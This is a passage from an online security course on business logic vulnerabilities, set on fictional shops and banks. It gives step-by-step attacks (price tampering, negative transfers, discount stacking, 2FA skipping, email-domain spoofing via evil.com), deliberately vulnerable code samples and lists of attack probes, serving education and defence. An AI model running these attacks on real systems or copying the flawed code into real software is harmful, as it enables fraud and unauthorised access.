API & LogicMediumServer-Side

Business Logic

A complete guide to understanding, detecting, exploiting, and preventing Business Logic vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

BUSINESS LOGIC VULNERABILITIES

A complete ANAS EDUCATION course on the bug class that scanners cannot find.

SECTION 1. Introduction

Imagine you open your PC and visit `anasmarket.anastech.com`.

You want to buy a pair of sneakers. The sneakers cost 1000 MAD. You add them to your cart.

You open the cart page. You see:

text
+----------------------------------------------+
| Item            Qty       Price     Subtotal |
+----------------------------------------------+
| Sneakers         1      1000 MAD   1000 MAD  |
+----------------------------------------------+
| Total                              1000 MAD  |
+----------------------------------------------+

You click "Checkout". Your browser sends a request:

text
POST /api/checkout HTTP/1.1
Host: anasmarket.anastech.com
Content-Type: application/json
Cookie: session=abc123

{
  "items": [
    {"product_id": 42, "quantity": 1, "price": 1000}
  ],
  "total": 1000,
  "currency": "MAD"
}

The server reads the request. The server creates an order. The server charges your card 1000 MAD. The server sends the sneakers. Normal. Expected. Safe.

Now look at the same picture again, but with a question on top of it:

  • What if you sent `"price": 1` instead of `"price": 1000`?
  • What if you sent `"quantity": -1` instead of `"quantity": 1`?
  • What if you applied the same discount code 100 times?
  • What if you completed the checkout step before completing the payment step?

These are not technical bugs. They are not SQL injection. They are not XSS. They are bugs in the logic of the application.

If the server trusts the client-side total without recomputing it, you pay 1 MAD for sneakers worth 1000.

If the server allows negative quantities, your cart total becomes negative, and the system refunds you money to buy items you keep.

If the server lets you apply a discount code more than once, you get 99% off by applying it 100 times.

If the server lets you skip the payment step and jump straight to "order shipped", you get the sneakers for free.

These are business logic vulnerabilities. They live in the gap between "what the developer assumed users would do" and "what users actually can do". They are invisible to automated scanners because the application is working exactly as designed. The bug is in the design.

HackerOne data shows business logic bugs are in the top 10 most reported vulnerabilities of 2024-2025. The crypto and blockchain industry alone pays out 45% of its bug bounty budget on this single category. Reports from Stripe, Shopify, Adobe, and others show payouts of $250 to $50,000 per finding.

This course teaches the entire bug class from zero. By the end you will know:

  • What business logic vulnerabilities are and why scanners cannot find them.
  • The six families of business logic bugs.
  • The 13 named sub-classes from the modern taxonomy.
  • How to find each one with curl, Burp, and your own reasoning.
  • How to chain them for maximum bounty impact.
  • How to fix each one with defensive design.

You do not need to be an expert. You just need to read carefully and think like a user who did not read the manual.

SECTION 2. How It Works

To find these bugs, you first need to understand what "business logic" means in detail.

Step 1. What business logic is

Business logic is the set of rules that turn an application into a business. It is not the framework. It is not the database. It is the part that says:

  • A customer cannot order more items than we have in stock.
  • A customer cannot apply two non-stackable discount codes at the same time.
  • A customer must pay before the order ships.
  • A customer cannot transfer money from another customer's account.
  • A customer cannot upgrade to admin role without going through onboarding.

These rules are not enforced by the language. They are not enforced by the HTTP protocol. They are enforced by the developer writing `if` statements, by the database constraints, and by the workflow design.

When the developer forgets a rule or implements one with a gap, you have a business logic vulnerability.

Step 2. The six families

Business logic vulnerabilities fall into six families:

text
+--------------------------------------------------------------+
|  FAMILY 1: Client-Side Trust Issues                          |
|    The server trusts data sent by the client.                |
|    Example: trusting the price field from the cart.          |
+--------------------------------------------------------------+
|  FAMILY 2: Business Rule Violations                          |
|    The server enforces some rules but misses edge cases.     |
|    Example: discount applied more than once.                 |
+--------------------------------------------------------------+
|  FAMILY 3: Security Control Inconsistencies                  |
|    Different endpoints enforce different rules.              |
|    Example: web endpoint checks roles, API endpoint does not.|
+--------------------------------------------------------------+
|  FAMILY 4: Workflow and State Issues                         |
|    The user can skip steps or take steps out of order.       |
|    Example: skip OTP step in login.                          |
+--------------------------------------------------------------+
|  FAMILY 5: Access Control Issues                             |
|    The server confuses identities at boundaries.             |
|    Example: email parsing confuses two users with similar    |
|    addresses.                                                |
+--------------------------------------------------------------+
|  FAMILY 6: Cryptographic Logic Issues                        |
|    The server reveals secrets via legitimate features.       |
|    Example: an "encrypt this message" endpoint is reused as  |
|    an oracle to forge admin tokens.                          |
+--------------------------------------------------------------+

Step 3. The normal flow on anasmarket.com

A safe checkout looks like this:

text
                   ┌──────────────┐
   Step 1: Browse  │ Browser      │
                   └──────┬───────┘
                          │ GET /product/42
                          ▼
                   ┌──────────────┐
                   │ Web server   │  return product page with price=1000
                   └──────┬───────┘
                          │
                          ▼
   Step 2: Add to  ┌──────────────┐
   cart            │ Browser      │
                   └──────┬───────┘
                          │ POST /cart {product_id: 42}
                          ▼
                   ┌──────────────┐
                   │ Web server   │  lookup price from DB, store in cart
                   └──────┬───────┘
                          │
                          ▼
   Step 3: Checkout┌──────────────┐
                   │ Browser      │
                   └──────┬───────┘
                          │ POST /checkout
                          ▼
                   ┌──────────────┐
                   │ Web server   │  recompute total from server data
                   │              │  validate quantities, stock, payment
                   │              │  charge card, ship order
                   └──────────────┘

The server never trusts the price from the client. The server recomputes the total. The server validates every constraint.

Step 4. The vulnerable flow

A vulnerable checkout trusts the client:

text
                   ┌──────────────┐
   Step 1: Browse  │ Browser      │
                   └──────┬───────┘
                          │ GET /product/42
                          ▼
                   ┌──────────────┐
                   │ Web server   │  returns product page with price=1000
                   └──────┬───────┘
                          │
                          ▼
   Step 2: Add to  ┌──────────────┐
   cart            │ Browser      │
                   └──────┬───────┘
                          │ POST /cart {product_id: 42, price: 1000}
                          ▼
                   ┌──────────────┐
                   │ Web server   │  stores price=1000 sent by client
                   └──────┬───────┘
                          │
                          ▼
   Step 3: Checkout┌──────────────┐
                   │ Attacker     │
                   │ replays cart │
                   │ with price=1 │
                   └──────┬───────┘
                          │ POST /checkout {items:[{price: 1}], total: 1}
                          ▼
                   ┌──────────────┐
                   │ Web server   │  trusts the price, charges 1 MAD
                   │              │  ships product worth 1000
                   └──────────────┘

The attacker received goods worth 1000 MAD for 1 MAD. The application worked exactly as designed. No syntax error. No injection. Just trust placed where trust should not be.

Step 5. Why scanners cannot find these

Web scanners (Acunetix, Burp Active Scanner, OWASP ZAP) work by sending malformed input and looking for known vulnerability signatures: `OR 1=1` for SQL injection, `<script>` for XSS, `..//etc/passwd` for path traversal.

Business logic bugs do NOT have a signature. The malicious request looks exactly like a normal request. The only difference is the value of a field that has no syntactic indicator.

A scanner that sees `price=1000` cannot know whether `price=1` is malicious. The application returns 200 OK in both cases. The only way to know is to understand the business: sneakers cost 1000 MAD, not 1.

This is why business logic bugs are hunted by humans, not by tools.

Step 6. The thinking process

Every business logic bug starts with the same question:

  • "What invariant should this feature preserve, and what would happen if I broke it?"

For a shopping cart: "Total must equal sum of prices". Break it.

For a transfer: "Sender balance must be non-negative". Break it.

For onboarding: "User must complete step 1 before step 2". Break it.

For a coupon: "Each coupon code can be used once per account". Break it.

For an admin role: "Only admins can promote users". Break it from a different endpoint.

This is the hunter's mindset. The next sections show the recipe.

SECTION 3. Attack Flow

Generic flow for a complete business logic exploitation, taken from a real bounty pattern (Stripe-style discount stacking, paid $5,000).

text
        ATTACKER                  WEB FRONT-END          API BACK-END           DATABASE
           │                           │                      │                      │
           │                           │                      │                      │
Step 1:    │                           │                      │                      │
map the    │ browse the site,          │                      │                      │
target     │ identify features:        │                      │                      │
           │ - signup                  │                      │                      │
           │ - login                   │                      │                      │
           │ - product page            │                      │                      │
           │ - cart                    │                      │                      │
           │ - discount codes          │                      │                      │
           │ - checkout                │                      │                      │
           │ - admin areas             │                      │                      │
           │                           │                      │                      │
Step 2:    │                           │                      │                      │
intercept  │ run every feature once    │                      │                      │
all        │ through Burp proxy        │                      │                      │
requests   │                           │                      │                      │
           │                           │                      │                      │
Step 3:    │                           │                      │                      │
identify   │ For each request, ask:    │                      │                      │
critical   │  - What invariant?        │                      │                      │
endpoints  │  - What if I change X?    │                      │                      │
           │  - What if I skip Y?      │                      │                      │
           │  - What if I repeat Z?    │                      │                      │
           │                           │                      │                      │
Step 4:    │                           │                      │                      │
focus on   │ Pick the discount         │                      │                      │
discount   │ endpoint:                 │                      │                      │
endpoint   │                           │                      │                      │
           │ POST /api/discount        │                      │                      │
           │ {code: "SUMMER20"}        │                      │                      │
           │                           │                      │                      │
           ├───────────────────────────►──────────────────────►│                      │
           │                           │                      │ store discount in    │
           │                           │                      │ cart, return total   │
           │                           │                      │                      │
Step 5:    │                           │                      │                      │
test       │ POST /api/discount        │                      │                      │
repeating  │ {code: "SUMMER20"}        │                      │                      │
           │ AGAIN, same code          │                      │                      │
           │                           │                      │                      │
           ├───────────────────────────►──────────────────────►│                      │
           │                           │                      │ stores SECOND copy   │
           │                           │                      │ of same discount     │
           │                           │                      │                      │
Step 6:    │                           │                      │                      │
race       │ Send 50 POST requests     │                      │                      │
           │ in parallel with same code│                      │                      │
           │                           │                      │                      │
           ├───────────────────────────►──────────────────────►│                      │
           │                           │                      │ all 50 stored        │
           │                           │                      │                      │
Step 7:    │                           │                      │                      │
verify     │ GET /api/cart             │                      │                      │
total      │                           │                      │                      │
           ├───────────────────────────►──────────────────────►│                      │
           │                           │                      │                      │
           │                           │ Response:            │                      │
           │                           │ subtotal: 1000       │                      │
           │                           │ discount: -1000 (50 x│                      │
           │                           │ 20%)                 │                      │
           │                           │ total: 0             │                      │
           │                           │                      │                      │
Step 8:    │                           │                      │                      │
checkout   │ POST /api/checkout        │                      │                      │
           ├───────────────────────────►──────────────────────►│                      │
           │                           │                      │ charges 0 MAD        │
           │                           │                      │ ships order          │
           │                           │                      │                      │
Step 9:    │                           │                      │                      │
report     │ write up:                 │                      │                      │
           │ - reproducer steps        │                      │                      │
           │ - impact (free products)  │                      │                      │
           │ - fix (one-time enforce)  │                      │                      │
           │                           │                      │                      │
Step 10:   │ submit bug bounty report. │                      │                      │
collect    │ Stripe paid $5,000 for    │                      │                      │
bounty     │ exactly this chain.       │                      │                      │

Ten steps. No tools beyond Burp Repeater and Intruder. No exploits. Just thinking carefully about what each endpoint allows.

SECTION 4. Why Developers Make This Mistake

Mistake 1. "I checked the client; that is enough"

The developer adds JavaScript validation: the form does not submit if quantity is less than 1. The developer thinks: "The form prevents negative quantities. We are safe."

The mistake: the form runs in the browser. The browser is the attacker's tool. Anyone with Burp Repeater can bypass the form entirely and POST directly with `quantity: -1`. All client-side checks must be re-done on the server. Always. Without exception.

Mistake 2. "I tested the happy path"

The developer writes the checkout flow. The developer tests with a valid product, valid quantity, valid card. It works. The developer ships.

The mistake: the developer never tested:

  • What if the user adds an item, then removes it from the database (race condition)?
  • What if the user has two browser tabs and adds the item from one while paying in the other?
  • What if the user submits the form twice within 200 milliseconds?
  • What if the user POSTs to the "order shipped" endpoint directly without going through "payment"?

The happy path is one path among hundreds. The bugs live in the others.

Mistake 3. "We have role-based access control, so it is secure"

The developer adds `@require_admin` on the admin web routes. The developer ships. The developer feels safe.

The mistake: the developer forgot the JSON API. The API endpoints have a different middleware that checks API tokens but not roles. Any API token (even a free-tier user's) can hit the admin endpoints. Consistency across endpoints is the hardest part of authorization.

Mistake 4. "Edge cases are rare; we can fix later"

The developer notices that the discount code logic does not enforce single-use. The developer files a ticket: "Fix discount stacking". The ticket sits in the backlog for two years.

The mistake: every attacker reads the documentation. Every attacker finds the edge case in the first hour. Edge cases that are obvious to attackers ship to production every day.

Mistake 5. "I trust the data from our internal service"

The developer writes a microservice that processes orders. The microservice receives serialized data from the cart service. The developer thinks: "It is our own service. The cart service is trusted."

The mistake: any attacker who reaches the cart service (or who can spoof a request to the order service from anywhere on the internal network) can craft any payload. There is no trusted internal network in 2026. Zero trust means every service validates everything it receives.

SECTION 5. Beginner Summary

  • Business logic bugs live in the gap between "what the developer thought users would do" and "what users actually can do". They are not technical bugs; they are flaws in the design.
  • Automated scanners cannot find them because the malicious request looks identical to a normal request. Only the value of a field is different, and only humans can know whether that value is legitimate.
  • The six families are: Client-Side Trust, Business Rule Violations, Security Control Inconsistencies, Workflow and State Issues, Access Control Issues, and Cryptographic Logic Issues.
  • The hunter's question is always the same: "What invariant should this feature preserve, and what happens if I break it?" Ask it for every endpoint, every parameter, every state transition.
  • The fix is always defensive design: server-side recomputation of every value, server-side validation of every constraint, state machines that prevent skipped steps, and consistent enforcement across every entry point (web, API, mobile, admin).

SECTION 6. Visual Explanation

Diagram 1. The safe pattern (server recomputes everything)

text
       Client sends:
       +--------------------+
       |  POST /checkout    |
       |  product_id: 42    |
       |  quantity: 1       |
       +---------+----------+
                 |
                 v
       +-----------------------------+
       |  Server:                    |
       |  - lookup price from DB     |
       |  - lookup stock from DB     |
       |  - verify discount valid    |
       |  - compute total in server  |
       |  - charge correct amount    |
       +-----------------------------+

The client only sends what it needs to (product, quantity). Everything else comes from the server's source of truth.

Diagram 2. The vulnerable pattern (server trusts client)

text
       Client sends:
       +--------------------+
       |  POST /checkout    |
       |  product_id: 42    |
       |  quantity: 1       |
       |  price: 1          | <-- attacker-controlled
       |  total: 1          | <-- attacker-controlled
       |  discount: 999     | <-- attacker-controlled
       +---------+----------+
                 |
                 v
       +--------------------------+
       |  Server:                 |
       |  - uses client price     |
       |  - charges 1 MAD         |
       |  - ships product worth   |
       |    1000 MAD              |
       +--------------------------+

The client fully controls the financial outcome. Any user with a proxy wins.

Diagram 3. The 13 named sub-classes

text
        BUSINESS LOGIC VULNERABILITIES
        +------------------------------+
        |                              |
        v                              v
+-------------------+        +------------------------+
| Client-Side Trust |        | Business Rule          |
| Issues            |        | Violations             |
|                   |        |                        |
| - Excessive trust |        | - High-level logic     |
|   in client       |        | - Low-level logic flaw |
|   controls        |        | - Flawed enforcement   |
+-------------------+        | - Infinite money       |
                             +------------------------+
        +------------------------+        +------------------------+
        |  Security Control      |        |  Workflow and State    |
        |  Inconsistencies       |        |  Issues                |
        |                        |        |                        |
        | - Inconsistent         |        | - Insufficient         |
        |   controls             |        |   workflow validation  |
        | - Inconsistent         |        | - Auth bypass via      |
        |   exceptional input    |        |   flawed state machine |
        +------------------------+        +------------------------+
        +------------------------+        +------------------------+
        |  Access Control        |        |  Cryptographic Logic   |
        |  Issues                |        |  Issues                |
        |                        |        |                        |
        | - Weak isolation on    |        | - Auth bypass via      |
        |   dual-use endpoint    |        |   encryption oracle    |
        | - Email parsing        |        |                        |
        |   discrepancies        |        |                        |
        +------------------------+        +------------------------+

Diagram 4. Workflow state machine (the wrong way)

text
   +------+      +-------+      +---------+      +---------+      +---------+
   | Cart |----->| Login |----->| Address |----->| Payment |----->| Shipped |
   +------+      +-------+      +---------+      +---------+      +---------+
       ^                                                              |
       |                                                              |
       +--------- attacker calls /shipped directly --------------------+

The attacker calls the "shipped" endpoint without going through "payment". If the server does not enforce the order, the attacker gets free product.

Diagram 5. State machine (the right way)

text
   +------+      +-------+      +---------+      +---------+      +---------+
   | Cart |----->| Login |----->| Address |----->| Payment |----->| Shipped |
   +------+      +-------+      +---------+      +---------+      +---------+
                                                                       ^
                                                                       |
       Server reads order.state = "payment_complete"                   |
       Server transitions to "shipped" ONLY if previous state matches  +
       Calling /shipped on state=cart returns 409 Conflict

Each step verifies the previous step's completion. The state machine is enforced server-side, not by URL availability.

SECTION 7. Definition

Technical definition

Business logic vulnerabilities are flaws in the design or implementation of an application that allow an attacker to elicit unintended behavior by interacting with the application in legitimate but unexpected ways. The vulnerability arises from a mismatch between the developer's mental model of how the application should be used and the broader set of behaviors that the application actually permits. Unlike technical vulnerabilities (which involve malformed input or implementation errors), business logic flaws are exploited using well-formed input that violates business invariants the developer assumed users would respect.

Primary classifications:

  • CWE-840 (Business Logic Errors), the umbrella weakness.
  • CWE-841 (Improper Enforcement of Behavioral Workflow), state-machine bypass.
  • CWE-602 (Client-Side Enforcement of Server-Side Security), client-trust issues.
  • CWE-799 (Improper Control of Interaction Frequency), rate-limit bypass and reuse.
  • CWE-285 (Improper Authorization), dual-use endpoint and IDOR-like flows.
  • CWE-20 (Improper Input Validation), trust placed in unvalidated values.

OWASP categories:

  • A04:2021 - Insecure Design (most business logic bugs).
  • A01:2021 - Broken Access Control (when authorization is the failure).
  • A07:2021 - Identification and Authentication Failures (workflow bypass in login).
  • OWASP API Security Top 10 entries API1 (BOLA), API5 (BFLA), API6 (Mass Assignment), API8 (Unrestricted Resource Consumption).

Beginner definition

A business logic vulnerability is when the application lets a user do something the developer never imagined a user would try, because the developer forgot to check for that case.

Why it matters in 2025-2026

  • HackerOne's 8th and 9th Hacker-Powered Security Reports rank business logic flaws in the top 10 across the entire bounty industry, with a 5% year-over-year growth.
  • Cryptocurrency and blockchain pay 45% of their total bounty budget on business logic findings.
  • API attacks: 27% of all API attacks in 2024 were business logic attacks, up from 17% the year before (Imperva).
  • Stripe paid $5,000 for an unlimited discount stacking bug in their fee system.
  • Adobe paid $33 for a parameter tampering price manipulation (low end of the range).
  • Shipt paid $100 for price manipulation via fractional values.
  • AI-related bugs (CVE-2025-XXXX class) often combine prompt injection with workflow bypass, blurring the lines between business logic and prompt logic.
  • The USPS 2018 incident exposed 60 million users via a business-logic + broken-authorization bug; the API allowed any user to view other users' tracking data.

Common affected systems

  • E-commerce checkout, cart, and discount engines.
  • Cryptocurrency exchanges and DeFi protocols.
  • Banking transfer and trading systems.
  • Subscription and billing platforms.
  • Affiliate, referral, and rewards programs.
  • Multi-step onboarding (KYC, MFA setup).
  • Role-promotion and team-management features.
  • Workflow systems (approval, escalation, expense reports).
  • API gateways with rate limiting that does not match business rules.
  • Magic-link and OTP authentication flows.

SECTION 8. Examples

Example 1. The price field on AnasMarket

The feature. AnasMarket's cart sends the full item details (product_id, quantity, price) to the checkout endpoint. The checkout endpoint trusts the price and charges the user that amount.

The bug. The server does not look up the price from the database at checkout. It uses whatever price the client sent.

The attack step by step.

  • 1. The attacker adds a 5000 MAD laptop to the cart.
  • 2. The attacker opens Burp, intercepts the `POST /checkout` request.
  • 3. The attacker changes `"price": 5000` to `"price": 1`.
  • 4. The attacker forwards the request.
  • 5. AnasMarket charges 1 MAD and ships the laptop.
  • 6. The attacker resells the laptop for 4500 MAD profit.

Example 2. The negative quantity at AnasBank

The feature. AnasBank has a "transfer" feature. The user enters an amount, the source account, and the destination account. The bank moves the amount from source to destination.

The bug. The server does not check that the amount is positive. A negative amount transfers from destination to source.

The attack step by step.

  • 1. The attacker has account A (their own) and finds the account number of victim B.
  • 2. The attacker calls `POST /transfer` with `{from: A, to: B, amount: -10000}`.
  • 3. The server executes: B.balance -= -10000 (which is +10000 from B's perspective) and A.balance += -10000 (which is -10000 from A's perspective).
  • 4. Net effect: 10000 MAD moves from B to A.
  • 5. The attacker has stolen 10000 MAD from a stranger without ever knowing B's password.

Example 3. The discount stacking at AnasDocs

The feature. AnasDocs offers a SUMMER20 discount code that gives 20% off the subscription. The code is meant to be applied once per account.

The bug. The server does not deduplicate discount codes within a cart. Applying the same code N times multiplies the discount.

The attack step by step.

  • 1. The attacker creates an account and starts the upgrade flow.
  • 2. The attacker applies SUMMER20 once. Total drops by 20%.
  • 3. The attacker applies SUMMER20 again. Total drops by another 20%.
  • 4. The attacker scripts 5 applications. Total drops to 0%. Some apps even allow negative totals (refund).
  • 5. The attacker buys the subscription for free or with a refund.

This is the Infinite Money Logic Flaw.

Example 4. The skipped 2FA at AnasOne

The feature. AnasOne login has two steps: username/password, then 2FA via OTP. The 2FA step must complete before the user gets a session cookie.

The bug. The session cookie is issued at the end of step 1 (password validation). The 2FA step only sets a flag on the session. The /admin endpoint checks for the cookie but not the 2FA flag.

The attack step by step.

  • 1. The attacker has the victim's stolen password.
  • 2. The attacker submits username and password. Session cookie is issued.
  • 3. The attacker is prompted for OTP but does not have access to the victim's phone.
  • 4. The attacker directly calls `GET /admin` with the session cookie.
  • 5. The admin endpoint accepts the cookie because the cookie is "logged in" by step 1.
  • 6. Attacker has full admin access without ever entering the OTP.

This is the Authentication Bypass via Flawed State Machine.

Example 5. The email parsing trick at AnasSocial

The feature. AnasSocial restricts signup to employees of anasmarket.com (their corporate domain) via email address validation. The signup form accepts only emails ending in `@anasmarket.com`.

The bug. The validation regex matches `@anasmarket.com` anywhere in the email. The application uses the local part as the username. The local part of `attacker@anasmarket.com.evil.com` is treated differently by the validator and the sender.

The attack step by step.

  • 1. The attacker registers `attacker@anasmarket.com.evil.com`.
  • 2. The validator sees `@anasmarket.com` is present and accepts.
  • 3. The system creates an account and sends a verification email to `attacker@anasmarket.com.evil.com` (which the attacker controls).
  • 4. The attacker clicks the link and confirms the account.
  • 5. The attacker now has employee privileges without working for AnasMarket.

This is Bypassing Access Controls Using Email Address Parsing Discrepancies.

SECTION 9. Vulnerable Code

Python (Flask) - Excessive Trust in Client-Side Controls

python
# VULNERABLE
@app.route("/checkout", methods=["POST"])
def checkout():
    data = request.get_json()
    items = data["items"]
    total = data["total"]  # BUG: trusts client total

    user = current_user()
    charge_card(user, total)  # BUG: charges client-controlled amount
    for it in items:
        ship_item(user, it["product_id"], it["quantity"])
    return jsonify({"status": "ok", "charged": total})

Python (Flask) - Infinite Money Logic Flaw

python
# VULNERABLE
@app.route("/apply-discount", methods=["POST"])
def apply_discount():
    code = request.json["code"]
    cart = get_cart(current_user())
    discount = lookup_discount(code)
    if discount:
        # BUG: appends discount without checking if already applied
        cart.discounts.append(discount)
        cart.save()
    return jsonify({"total": cart.total()})

Node.js (Express) - Insufficient Workflow Validation

javascript
// VULNERABLE
app.post('/order/ship', authMiddleware, async (req, res) => {
    const orderId = req.body.order_id;
    const order = await Order.findById(orderId);
    // BUG: ships the order without checking if payment is complete
    order.state = 'shipped';
    await order.save();
    await shippingProvider.ship(order);
    res.json({ status: 'shipping' });
});

Java (Spring) - Authentication Bypass via Flawed State Machine

java
// VULNERABLE
@PostMapping("/login/step1")
public ResponseEntity<?> step1(@RequestBody Credentials creds, HttpSession session) {
    User u = userService.authenticate(creds.username, creds.password);
    if (u != null) {
        // BUG: sets the session as logged-in BEFORE 2FA completes
        session.setAttribute("user", u);
        return ResponseEntity.ok("Enter OTP");
    }
    return ResponseEntity.status(401).build();
}

@PostMapping("/login/step2")
public ResponseEntity<?> step2(@RequestBody Otp otp, HttpSession session) {
    User u = (User) session.getAttribute("user");
    if (u != null && otpService.verify(u, otp.code)) {
        session.setAttribute("twofa_passed", true);
        return ResponseEntity.ok("Logged in");
    }
    return ResponseEntity.status(401).build();
}

@GetMapping("/admin")
public ResponseEntity<?> admin(HttpSession session) {
    User u = (User) session.getAttribute("user");
    if (u != null) {
        // BUG: checks logged-in but not 2FA flag
        return ResponseEntity.ok(adminData());
    }
    return ResponseEntity.status(403).build();
}

PHP - Weak Isolation on Dual-Use Endpoint

php
<?php
// VULNERABLE: the same endpoint serves both public users and admins
// based on a query parameter
if (isset($_GET["admin"]) && $_GET["admin"] === "1") {
    // admin mode: show everyone's data
    $rows = $db->query("SELECT * FROM orders");
} else {
    // user mode: show only my data
    $rows = $db->query("SELECT * FROM orders WHERE user_id = " . $_SESSION["user_id"]);
}
// BUG: regular users can flip admin=1 and access all orders
echo json_encode($rows);
?>

C# (ASP.NET Core) - Inconsistent Security Controls

csharp
// VULNERABLE: web endpoint requires admin, API endpoint does not
[Authorize(Roles = "Admin")]
[HttpGet("/admin/users")]  // web view
public IActionResult ListUsers() {
    return Ok(_userService.GetAll());
}

// API mirror that everyone forgot to lock down
[HttpGet("/api/v1/users")]  // BUG: no [Authorize]
public IActionResult ListUsersApi() {
    return Ok(_userService.GetAll());
}

Ruby on Rails - Email Address Parsing Discrepancies

ruby
# VULNERABLE
class SignupController < ApplicationController
  ALLOWED_DOMAIN = "anasmarket.com"

  def create
    email = params[:email]
    # BUG: substring match, not strict suffix match
    if email.include?("@#{ALLOWED_DOMAIN}")
      user = User.create(email: email, role: :employee)
      Mailer.welcome(user).deliver
      render json: { status: :ok }
    else
      render json: { error: :not_allowed }, status: 403
    end
  end
end

`attacker@anasmarket.com.evil.com` contains `@anasmarket.com`, so the check passes. The mail is sent to evil.com because email routing follows the final `.evil.com`.

Python (Flask) - Authentication Bypass via Encryption Oracle

python
# VULNERABLE
# The /encrypt endpoint lets users encrypt arbitrary text for "support tickets"
@app.route("/encrypt", methods=["POST"])
def encrypt():
    text = request.json["text"]
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    return jsonify({"ciphertext": cipher.encrypt(pad(text.encode(), 16)).hex()})

# The session cookie is the encrypted form of: "user=<username>;role=user"
# An attacker can:
# 1. Call /encrypt with text "user=anas;role=admi" and get the encrypted block
# 2. Call /encrypt with text "n" padded properly and get the encrypted block
# 3. Concatenate the two ciphertext blocks to forge "user=anas;role=admin"
# Result: full admin session via the application's own encryption feature.

The universal pattern across languages

Every vulnerable code sample contains one of these logical mistakes:

  • 1. Server trusts a value the client controls without recomputation.
  • 2. Server processes the same action multiple times without idempotency or rate limiting.
  • 3. Server skips a check based on a flag the client controls (query param, header, body field).
  • 4. Server enforces a rule on one endpoint but forgets to enforce it on a parallel endpoint.
  • 5. Server allows a workflow step to execute without verifying the previous step completed.
  • 6. Server confuses one identity for another because of a parsing discrepancy.
  • 7. Server provides a legitimate feature (encrypt, sign, hash) that can be reused as a cryptographic oracle.

The fix is always the same shape: validate everything server-side, recompute everything server-side, enforce state machines server-side, and treat every endpoint as a possible attacker entry point.

SECTION 10. Detection

Manual detection steps

  • 1. Map every feature of the application. Build a list of endpoints and what business action each one performs.
  • 2. For each endpoint, identify the invariants. What MUST be true after this endpoint is called? (Balance non-negative, role unchanged, state advanced by exactly one step, etc.)
  • 3. For each invariant, ask: "What input would break this invariant?" Then send that input.
  • 4. Test value-based logic: negative numbers, zero, very large numbers, floating point, integer overflow, unicode, empty string, null.
  • 5. Test workflow-based logic: skip steps, repeat steps, reverse steps, execute steps from different states.
  • 6. Test role-based logic: try every action as every role (anonymous, free user, paid user, admin). Then try with a different user ID in the body.
  • 7. Test endpoint mirrors: if a feature exists on the web UI, find the API equivalent. Compare authentication and authorization.
  • 8. Test parsing discrepancies: send unicode lookalikes, trailing whitespace, leading dots, multiple at-signs in emails, IPv4-mapped IPv6 addresses.
  • 9. Test cryptographic features: any feature that signs or encrypts user input is a potential oracle. Read carefully.
  • 10. Test race conditions: send the same request 20 times in parallel using Burp Intruder or Turbo Intruder.

Burp Suite step by step

  • 1. Browse the application as a normal user. Capture every request in Proxy ==> HTTP history.
  • 2. Right-click ==> Send to Repeater for any request that performs a business action.
  • 3. In Repeater, modify one parameter at a time and observe the response. Look for unexpected acceptance.
  • 4. For workflow bugs, use the "Logger++" extension (or just save raw history) to record the canonical happy-path sequence.
  • 5. Replay the sequence with steps removed, reordered, or repeated.
  • 6. For race conditions, send the request to Turbo Intruder. Use the "race-single-packet-attack.py" template to fire many requests in a single TCP packet.
  • 7. For role mirroring, log in as user A, capture admin requests; then log in as user B (different role) and replay the captured requests with B's session cookie.
  • 8. For email parsing bugs, generate test emails with unusual structures and submit them: `attacker@anasmarket.com.evil.com`, `attacker@anasmarket.com@evil.com`, `attacker+anasmarket.com@evil.com`, `"@anasmarket.com"@evil.com`.

Common detection probes

text
# Probe 1: negative quantity
POST /api/cart
{"product_id": 42, "quantity": -1}

# Probe 2: fractional values
POST /api/transfer
{"amount": 0.0000001}

# Probe 3: integer overflow
POST /api/transfer
{"amount": 9999999999999999999}

# Probe 4: skip a step
POST /api/order/ship
{"order_id": 100}
(without paying)

# Probe 5: repeat a step
POST /api/apply-discount
{"code": "SUMMER20"}
(send 50 times)

# Probe 6: dual-use endpoint
GET /api/users?admin=1

# Probe 7: race condition
POST /api/coupon/redeem
{"code": "ONETIME"}
(send 20 in parallel)

# Probe 8: email parsing
POST /api/signup
{"email": "attacker@anasmarket.com.evil.com"}

# Probe 9: encryption oracle
POST /api/encrypt
{"text": "user=anas;role=admin"}

# Probe 10: workflow bypass
POST /api/upgrade-role
{"user_id": ME, "new_role": "admin"}
(without admin auth)

Automated tools (limited usefulness)

Business logic bugs by nature resist automation. The following tools help with auxiliary tasks:

  • Burp Repeater + Intruder ==> the workhorse. Manually craft and replay.
  • Turbo Intruder ==> race conditions via single-packet attack. Available as a Burp Suite extension.
  • Burp Logger++ ==> tracks request history across long sessions. Available as a Burp Suite extension.
  • Postman / Bruno ==> chain API calls into a workflow you can replay with edits.
  • ZAP HUD ==> visualize state transitions during browsing.
  • OWASP API Security Project scripts ==> https://github.com/OWASP/API-Security
  • Semgrep ==> find authorization decorators that are missing from API mirrors (e.g., `not @authorize(role="admin")` rule).

Indicators of vulnerability

  • Any field in the request body that represents money, quantity, status, or role.
  • Any endpoint named `/api/...` that does not require authentication.
  • Any flow with more than 3 steps in the UI but where the API endpoints exist independently.
  • Any signup form that accepts an email and checks domain by substring match.
  • Any endpoint that returns "OK" within milliseconds for an action that should be slow (likely no database round-trip = no real check).
  • Any feature labeled "for support team only" or "internal use" that is reachable from the public application.
  • Any URL parameter named `admin`, `debug`, `role`, `bypass`, `internal`, `test`, `dev`.
  • Any session cookie that is base64-encoded JSON (likely client-side trust).
  • Any feature that signs or encrypts user-provided strings (potential oracle).

SECTION 11. Exploitation

Workflow

  • 1. Identify the business invariants. List them on paper.
  • 2. Pick one invariant. Design an attack that breaks it.
  • 3. Send the request that should violate the invariant.
  • 4. Verify the violation in a second request (read state, read balance, read role).
  • 5. Quantify the impact (how much money, how many users, how much access).
  • 6. Write the reproducer. Include the exact request body and the resulting state.
  • 7. Submit.

Advanced techniques

1. Excessive Trust in Client-Side Controls

The application validates input in JavaScript before submission, then trusts the submitted value.

text
GET /product/42
==> response sets innerHTML with price=1000, JavaScript validates

POST /api/cart {product_id: 42, price: 1000}
==> server stores the price field as provided

POST /api/checkout {total: 1}
==> server charges 1 MAD

Bypass: skip the JavaScript by using Burp Repeater. Submit any value directly.

Variations: hidden form fields, JWT payload "amounts" the client computes, signed-but-not-verified blobs.

2. High-Level Logic Vulnerability

The business has a high-level rule ("a user cannot buy more than 1 of a limited-edition item") but the rule is enforced only on the UI, not at the cart layer.

text
POST /api/cart {product_id: limited_item, quantity: 1}
==> server accepts
